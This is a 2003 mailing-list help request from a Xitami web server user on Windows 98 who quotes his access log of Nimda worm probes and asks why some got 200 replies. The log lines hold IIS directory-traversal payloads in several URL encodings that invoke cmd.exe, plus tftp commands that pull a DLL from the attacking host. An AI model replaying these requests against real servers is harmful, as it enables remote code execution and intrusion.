[Xitami] Nimda & status 200 message

[Richard Leitch]

Hi,
New to this, hope that someone can put my mind at rest.

Am getting lots of hits from codered and codered11 which are getting 404 replies.
Am also getting hits from Nimda, but some lines are getting a 200 reply.  Why? and is it a probem?

Checked out the archives before sending this, it was discussed in Sept 2001 but no real answer.

Am running v2.5b4 on win98 behind winroute (kerio) firewall.

below is a portion of my access log, the 200 replies start at line 13.

80.5.247.49 - - [12/Mar/2003:21:29:33 +0000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:34 +0000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:36 +0000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:37 +0000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:38 +0000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:39 +0000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:43 +0000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:44 +0000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:48 +0000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:49 +0000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:50 +0000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:51 +0000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:52 +0000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:53 +0000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:54 +0000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:55 +0000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:56 +0000] "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:58 +0000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:29:59 +0000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:30:00 +0000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:30:01 +0000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:30:05 +0000] "GET /scripts/..%%35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:30:06 +0000] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
80.5.247.49 - - [12/Mar/2003:21:30:16 +0000] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""

Best regards. 

Richard Leitch
dick@leitchfamily.freeserve.co.uk
2003-03-15